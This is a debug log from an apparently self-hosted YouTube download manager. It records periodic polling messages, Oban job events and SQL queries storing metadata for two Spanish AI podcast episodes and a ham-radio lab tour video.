[debug] Current batch of media processed. Will check again in 1000ms 21:55:47.638 [debug] Current batch of media processed. Will check again in 1000ms 21:55:48.594 [debug] Current batch of media processed. Will check again in 1000ms 21:55:48.639 [debug] Current batch of media processed. Will check again in 1000ms 21:55:49.595 [debug] Current batch of media processed. Will check again in 1000ms 21:55:49.640 [debug] Current batch of media processed. Will check again in 1000ms 21:55:50.596 [debug] Current batch of media processed. Will check again in 1000ms 21:55:50.641 [debug] Current batch of media processed. Will check again in 1000ms 21:55:51.083 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:51.597 [debug] Current batch of media processed. Will check again in 1000ms 21:55:51.642 [debug] Current batch of media processed. Will check again in 1000ms 21:55:52.598 [debug] Current batch of media processed. Will check again in 1000ms 21:55:52.643 [debug] Current batch of media processed. Will check again in 1000ms 21:55:53.599 [debug] Current batch of media processed. Will check again in 1000ms 21:55:53.644 [debug] Current batch of media processed. Will check again in 1000ms 21:55:54.600 [debug] Current batch of media processed. Will check again in 1000ms 21:55:54.645 [debug] Current batch of media processed. Will check again in 1000ms 21:55:55.601 [debug] Current batch of media processed. Will check again in 1000ms 21:55:55.646 [debug] Current batch of media processed. Will check again in 1000ms 21:55:56.602 [debug] Current batch of media processed. Will check again in 1000ms 21:55:56.647 [debug] Current batch of media processed. Will check again in 1000ms 21:55:57.603 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep 4️⃣6️⃣: IAMIQuien - Mario Pimienta - Bioinformatico🧬💻🧪\n\nHoy comenzamos una serie de varios capítulos, donde vamos a ver como profesionales y personas utilizan la IA en su día a día. La serie la hemos llamado hashtag#IAMIQUIEN.\n\nNuestro primer invitado es nuestro compañero y amigo Mario Pimienta Calderón con quien hemos tenido David García Martínez y yo nuestra primera charla.\n\nLa verdad es que ha sido algo muy chulo, nos ha gustado un monton hacerlo, asi que si quereis conocer un poco mas a Mario y sus superpoderes, escuchalo que no tiene desperdicio.\n\nComo la charla es mas larga, en Youtube y Spotify colgaremos el video largo 25min ya que Linkedin solo deja subir 15 minutos.\n\nNo tiene desperdicio, ya nos diréis que os parece.\n \ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#IAMIQUE #IAMIQUIEN #Origen #IAGen #GenAI #ChatGPT \n\nSigue a nuestras compañías también: \n👉🏼 Origen Corp.\n👉🏼 lifely by Origen Genetics", "duration" => 831, "filename" => "/downloads/music/IA mí QUÉ/Ep 46: IAMIQUIEN Con Mario Pimienta - Bioinformatico.m4a", "id" => "RIm23q7Gnys", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RIm23q7Gnys", "playlist_index" => 4, "timestamp" => 1768563743, "title" => "Ep 46: IAMIQUIEN Con Mario Pimienta - Bioinformatico", "upload_date" => "20260116"} 21:55:57.604 [debug] QUERY OK source="sources" db=0.5ms idle=873.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 21:55:57.605 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=874.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:55:57.606 [debug] QUERY OK source="media_items" db=0.8ms idle=874.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-16 11:42:23Z], 2] 21:55:57.608 [debug] QUERY OK source="media_items" db=1.1ms idle=875.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep 4️⃣6️⃣: IAMIQuien - Mario Pimienta - Bioinformatico🧬💻🧪\n\nHoy comenzamos una serie de varios capítulos, donde vamos a ver como profesionales y personas utilizan la IA en su día a día. La serie la hemos llamado hashtag#IAMIQUIEN.\n\nNuestro primer invitado es nuestro compañero y amigo Mario Pimienta Calderón con quien hemos tenido David García Martínez y yo nuestra primera charla.\n\nLa verdad es que ha sido algo muy chulo, nos ha gustado un monton hacerlo, asi que si quereis conocer un poco mas a Mario y sus superpoderes, escuchalo que no tiene desperdicio.\n\nComo la charla es mas larga, en Youtube y Spotify colgaremos el video largo 25min ya que Linkedin solo deja subir 15 minutos.\n\nNo tiene desperdicio, ya nos diréis que os parece.\n \ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#IAMIQUE #IAMIQUIEN #Origen #IAGen #GenAI #ChatGPT \n\nSigue a nuestras compañías también: \n👉🏼 Origen Corp.\n👉🏼 lifely by Origen Genetics", "Ep 46: IAMIQUIEN Con Mario Pimienta - Bioinformatico", "d17017a7-c9fe-400b-8807-23d7c6fd9bc2", 831, false, "RIm23q7Gnys", "https://www.youtube.com/watch?v=RIm23q7Gnys", 4, "/downloads/music/IA mí QUÉ/Ep 46: IAMIQUIEN Con Mario Pimienta - Bioinformatico.m4a", false, false, false, 2, [], 98, ~U[2026-01-16 11:42:23Z], ~U[2026-02-07 20:55:57Z], ~U[2026-02-07 20:55:57Z], "#IAMIQUE 👉🏼 Ep 4️⃣6️⃣: IAMIQuien - Mario Pimienta - Bioinformatico🧬💻🧪\n\nHoy comenzamos una serie de varios capítulos, donde vamos a ver como profesionales y personas utilizan la IA en su día a día. La serie la hemos llamado hashtag#IAMIQUIEN.\n\nNuestro primer invitado es nuestro compañero y amigo Mario Pimienta Calderón con quien hemos tenido David García Martínez y yo nuestra primera charla.\n\nLa verdad es que ha sido algo muy chulo, nos ha gustado un monton hacerlo, asi que si quereis conocer un poco mas a Mario y sus superpoderes, escuchalo que no tiene desperdicio.\n\nComo la charla es mas larga, en Youtube y Spotify colgaremos el video largo 25min ya que Linkedin solo deja subir 15 minutos.\n\nNo tiene desperdicio, ya nos diréis que os parece.\n \ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#IAMIQUE #IAMIQUIEN #Origen #IAGen #GenAI #ChatGPT \n\nSigue a nuestras compañías también: \n👉🏼 Origen Corp.\n👉🏼 lifely by Origen Genetics", "Ep 46: IAMIQUIEN Con Mario Pimienta - Bioinformatico", 831, false, "RIm23q7Gnys", "https://www.youtube.com/watch?v=RIm23q7Gnys", "/downloads/music/IA mí QUÉ/Ep 46: IAMIQUIEN Con Mario Pimienta - Bioinformatico.m4a", false, 2, ~U[2026-01-16 11:42:23Z]] 21:55:57.608 [debug] QUERY OK source="sources" db=0.4ms idle=705.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:55:57.609 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:55:57.610 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1256] 21:55:57.610 [debug] Current batch of media processed. Will check again in 1000ms 21:55:57.648 [debug] Current batch of media processed. Will check again in 1000ms 21:55:58.610 [debug] Current batch of media processed. Will check again in 1000ms 21:55:58.649 [debug] Current batch of media processed. Will check again in 1000ms 21:55:59.611 [debug] Current batch of media processed. Will check again in 1000ms 21:55:59.650 [debug] Current batch of media processed. Will check again in 1000ms 21:56:00.072 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:56:00.612 [debug] Current batch of media processed. Will check again in 1000ms 21:56:00.651 [debug] Current batch of media processed. Will check again in 1000ms 21:56:01.613 [debug] Current batch of media processed. Will check again in 1000ms 21:56:01.652 [debug] Current batch of media processed. Will check again in 1000ms 21:56:02.614 [debug] Current batch of media processed. Will check again in 1000ms 21:56:02.653 [debug] Current batch of media processed. Will check again in 1000ms 21:56:03.615 [debug] Current batch of media processed. Will check again in 1000ms 21:56:03.654 [debug] Current batch of media processed. Will check again in 1000ms 21:56:04.616 [debug] Current batch of media processed. Will check again in 1000ms 21:56:04.655 [debug] Current batch of media processed. Will check again in 1000ms 21:56:05.617 [debug] Current batch of media processed. Will check again in 1000ms 21:56:05.656 [debug] Current batch of media processed. Will check again in 1000ms 21:56:06.618 [debug] Current batch of media processed. Will check again in 1000ms 21:56:06.657 [debug] Current batch of media processed. Will check again in 1000ms 21:56:07.619 [debug] Current batch of media processed. Will check again in 1000ms 21:56:07.658 [debug] Current batch of media processed. Will check again in 1000ms 21:56:08.620 [debug] Current batch of media processed. Will check again in 1000ms 21:56:08.659 [debug] Current batch of media processed. Will check again in 1000ms 21:56:09.621 [debug] Current batch of media processed. Will check again in 1000ms 21:56:09.660 [debug] Current batch of media processed. Will check again in 1000ms 21:56:10.622 [debug] Current batch of media processed. Will check again in 1000ms 21:56:10.661 [debug] Current batch of media processed. Will check again in 1000ms 21:56:11.623 [debug] Current batch of media processed. Will check again in 1000ms 21:56:11.662 [debug] Current batch of media processed. Will check again in 1000ms 21:56:12.624 [debug] Current batch of media processed. Will check again in 1000ms 21:56:12.663 [debug] Current batch of media processed. Will check again in 1000ms 21:56:13.625 [debug] Current batch of media processed. Will check again in 1000ms 21:56:13.664 [debug] Current batch of media processed. Will check again in 1000ms 21:56:14.626 [debug] Current batch of media processed. Will check again in 1000ms 21:56:14.665 [debug] Current batch of media processed. Will check again in 1000ms 21:56:15.627 [debug] Current batch of media processed. Will check again in 1000ms 21:56:15.666 [debug] Current batch of media processed. Will check again in 1000ms 21:56:16.628 [debug] Current batch of media processed. Will check again in 1000ms 21:56:16.667 [debug] Current batch of media processed. Will check again in 1000ms 21:56:17.629 [debug] Current batch of media processed. Will check again in 1000ms 21:56:17.668 [debug] Current batch of media processed. Will check again in 1000ms 21:56:18.630 [debug] Current batch of media processed. Will check again in 1000ms 21:56:18.669 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Aunque no soy muy amigo de estas visitas guidas, por petición popular (o sea que muchos me lo habeis comentado) hago una visita guiada a mi mini-laboratorio de electrónica. Que nadie se escandalice del desorden, es lo que hay!\n\n#roomtour #hamradio #diyelectronics #rigol #siglent #promax #frecuencimetro #osciloscopio \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1469, "filename" => "/downloads/music/ea3grn/175 - ROOM TOUR LABORATORIO Y CUARTO DE RADIO.m4a", "id" => "phX7DHJWcAw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=phX7DHJWcAw", "playlist_index" => 4, "timestamp" => 1766077284, "title" => "175 - ROOM TOUR LABORATORIO Y CUARTO DE RADIO", "upload_date" => "20251218"} 21:56:18.670 [debug] QUERY OK source="sources" db=0.5ms idle=1939.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 21:56:18.671 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1940.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 21:56:18.672 [debug] QUERY OK source="media_items" db=0.7ms idle=1730.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-18 17:01:24Z], 3] 21:56:18.673 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=941.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Aunque no soy muy amigo de estas visitas guidas, por petición popular (o sea que muchos me lo habeis comentado) hago una visita guiada a mi mini-laboratorio de electrónica. Que nadie se escandalice del desorden, es lo que hay!\n\n#roomtour #hamradio #diyelectronics #rigol #siglent #promax #frecuencimetro #osciloscopio \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "175 - ROOM TOUR LABORATORIO Y CUARTO DE RADIO", "a29b041d-2a7f-48dc-85b2-d6f3c563f664", 1469, false, "phX7DHJWcAw", "https://www.youtube.com/watch?v=phX7DHJWcAw", 4, "/downloads/music/ea3grn/175 - ROOM TOUR LABORATORIO Y CUARTO DE RADIO.m4a", false, false, false, 3, [], 98, ~U[2025-12-18 17:01:24Z], ~U[2026-02-07 20:56:18Z], ~U[2026-02-07 20:56:18Z], "Aunque no soy muy amigo de estas visitas guidas, por petición popular (o sea que muchos me lo habeis comentado) hago una visita guiada a mi mini-laboratorio de electrónica. Que nadie se escandalice del desorden, es lo que hay!\n\n#roomtour #hamradio #diyelectronics #rigol #siglent #promax #frecuencimetro #osciloscopio \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "175 - ROOM TOUR LABORATORIO Y CUARTO DE RADIO", 1469, false, "phX7DHJWcAw", "https://www.youtube.com/watch?v=phX7DHJWcAw", "/downloads/music/ea3grn/175 - ROOM TOUR LABORATORIO Y CUARTO DE RADIO.m4a", false, 3, ~U[2025-12-18 17:01:24Z]] 21:56:18.674 [debug] QUERY OK source="sources" db=0.3ms idle=731.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 21:56:18.675 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:56:18.675 [debug] QUERY OK source="media_items" db=0.4ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1288] 21:56:18.675 [debug] Current batch of media processed. Will check again in 1000ms 21:56:19.631 [debug] Current batch of media processed. Will check again in 1000ms 21:56:19.676 [debug] Current batch of media processed. Will check again in 1000ms 21:56:20.632 [debug] Current batch of media processed. Will check again in 1000ms 21:56:20.677 [debug] Current batch of media processed. Will check again in 1000ms 21:56:21.084 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:21.633 [debug] Current batch of media processed. Will check again in 1000ms 21:56:21.678 [debug] Current batch of media processed. Will check again in 1000ms 21:56:22.634 [debug] Current batch of media processed. Will check again in 1000ms 21:56:22.679 [debug] Current batch of media processed. Will check again in 1000ms 21:56:23.635 [debug] Current batch of media processed. Will check again in 1000ms 21:56:23.680 [debug] Current batch of media processed. Will check again in 1000ms 21:56:24.636 [debug] Current batch of media processed. Will check again in 1000ms 21:56:24.681 [debug] Current batch of media processed. Will check again in 1000ms 21:56:25.637 [debug] Current batch of media processed. Will check again in 1000ms 21:56:25.682 [debug] Current batch of media processed. Will check again in 1000ms 21:56:26.638 [debug] Current batch of media processed. Will check again in 1000ms 21:56:26.683 [debug] Current batch of media processed. Will check again in 1000ms 21:56:27.639 [debug] Current batch of media processed. Will check again in 1000ms 21:56:27.684 [debug] Current batch of media processed. Will check again in 1000ms 21:56:28.640 [debug] Current batch of media processed. Will check again in 1000ms 21:56:28.685 [debug] Current batch of media processed. Will check again in 1000ms 21:56:29.641 [debug] Current batch of media processed. Will check again in 1000ms 21:56:29.686 [debug] Current batch of media processed. Will check again in 1000ms 21:56:30.643 [debug] Current batch of media processed. Will check again in 1000ms 21:56:30.687 [debug] Current batch of media processed. Will check again in 1000ms 21:56:31.643 [debug] Current batch of media processed. Will check again in 1000ms 21:56:31.688 [debug] Current batch of media processed. Will check again in 1000ms 21:56:32.644 [debug] Current batch of media processed. Will check again in 1000ms 21:56:32.689 [debug] Current batch of media processed. Will check again in 1000ms 21:56:33.645 [debug] Current batch of media processed. Will check again in 1000ms 21:56:33.690 [debug] Current batch of media processed. Will check again in 1000ms 21:56:34.646 [debug] Current batch of media processed. Will check again in 1000ms 21:56:34.691 [debug] Current batch of media processed. Will check again in 1000ms 21:56:35.647 [debug] Current batch of media processed. Will check again in 1000ms 21:56:35.692 [debug] Current batch of media processed. Will check again in 1000ms 21:56:36.648 [debug] Current batch of media processed. Will check again in 1000ms 21:56:36.693 [debug] Current batch of media processed. Will check again in 1000ms 21:56:37.649 [debug] Current batch of media processed. Will check again in 1000ms 21:56:37.694 [debug] Current batch of media processed. Will check again in 1000ms 21:56:38.650 [debug] Current batch of media processed. Will check again in 1000ms 21:56:38.695 [debug] Current batch of media processed. Will check again in 1000ms 21:56:39.651 [debug] Current batch of media processed. Will check again in 1000ms 21:56:39.696 [debug] Current batch of media processed. Will check again in 1000ms 21:56:40.652 [debug] Current batch of media processed. Will check again in 1000ms 21:56:40.697 [debug] Current batch of media processed. Will check again in 1000ms 21:56:41.653 [debug] Current batch of media processed. Will check again in 1000ms 21:56:41.698 [debug] Current batch of media processed. Will check again in 1000ms 21:56:42.654 [debug] Current batch of media processed. Will check again in 1000ms 21:56:42.699 [debug] Current batch of media processed. Will check again in 1000ms 21:56:43.655 [debug] Current batch of media processed. Will check again in 1000ms 21:56:43.700 [debug] Current batch of media processed. Will check again in 1000ms 21:56:44.656 [debug] Current batch of media processed. Will check again in 1000ms 21:56:44.701 [debug] Current batch of media processed. Will check again in 1000ms 21:56:45.657 [debug] Current batch of media processed. Will check again in 1000ms 21:56:45.702 [debug] Current batch of media processed. Will check again in 1000ms 21:56:46.658 [debug] Current batch of media processed. Will check again in 1000ms 21:56:46.703 [debug] Current batch of media processed. Will check again in 1000ms 21:56:47.659 [debug] Current batch of media processed. Will check again in 1000ms 21:56:47.704 [debug] Current batch of media processed. Will check again in 1000ms 21:56:48.660 [debug] Current batch of media processed. Will check again in 1000ms 21:56:48.705 [debug] Current batch of media processed. Will check again in 1000ms 21:56:49.661 [debug] Current batch of media processed. Will check again in 1000ms 21:56:49.706 [debug] Current batch of media processed. Will check again in 1000ms 21:56:50.662 [debug] Current batch of media processed. Will check again in 1000ms 21:56:50.707 [debug] Current batch of media processed. Will check again in 1000ms 21:56:51.086 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:51.663 [debug] Current batch of media processed. Will check again in 1000ms 21:56:51.708 [debug] Current batch of media processed. Will check again in 1000ms 21:56:52.664 [debug] Current batch of media processed. Will check again in 1000ms 21:56:52.709 [debug] Current batch of media processed. Will check again in 1000ms 21:56:53.665 [debug] Current batch of media processed. Will check again in 1000ms 21:56:53.710 [debug] Current batch of media processed. Will check again in 1000ms 21:56:54.666 [debug] Current batch of media processed. Will check again in 1000ms 21:56:54.711 [debug] Current batch of media processed. Will check again in 1000ms 21:56:55.667 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "\u2060#IAMIQUE\u2060 👉🏼 Ep 4️⃣5️⃣: Pronosticos para el 2026 🔮 \n\n\nHoy \u2060David García Martínez\u2060 y yo lanzamos nuestros pronosticos de avances en IA, Robotica y salud para este 2026... cuanto acertaremos? cuanto fallaremos? tu nos dices.\n\n\ny cuales son TUS pronosticos? que crees que va a suceder a lo largo de este año?\n\n\ny por fa 🙏 (si quieres ayudarnos) : \n\n\n👐🏼 Dale a Compartir para darnos visibilidad \n✍🏼 Escribe un comentario, opina! \n🫶🏼 y ya la leche.... darnos un like (o no) \n🫵🏼 y siempre .... contamos contigo\n\n\n\u2060#IAMIQUE\u2060 \u2060#Origen\u2060 \u2060#IAGen\u2060 \u2060#GenAI\u2060 \u2060#ChatGPT\u2060 \n\n\nSigue a nuestras compañías también: \n👉🏼 \u2060ORIGEN CORPORACIÓN BIOTECH\u2060\n👉🏼 \u2060lifely by Origen Genetics\u2060", "duration" => 692, "filename" => "/downloads/music/IA mí QUÉ/EP 45: Pronosoticos para el 2026.m4a", "id" => "lwdIEy2fCkg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lwdIEy2fCkg", "playlist_index" => 5, "timestamp" => 1767942046, "title" => "EP 45: Pronosoticos para el 2026", "upload_date" => "20260109"} 21:56:55.668 [debug] QUERY OK source="sources" db=0.6ms idle=1937.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 21:56:55.670 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1655.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:56:55.672 [debug] QUERY OK source="media_items" db=1.6ms idle=939.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:00:46Z], 2] 21:56:55.674 [debug] QUERY OK source="media_items" db=1.1ms idle=942.0ms INSERT INTO "media_items" AS m0 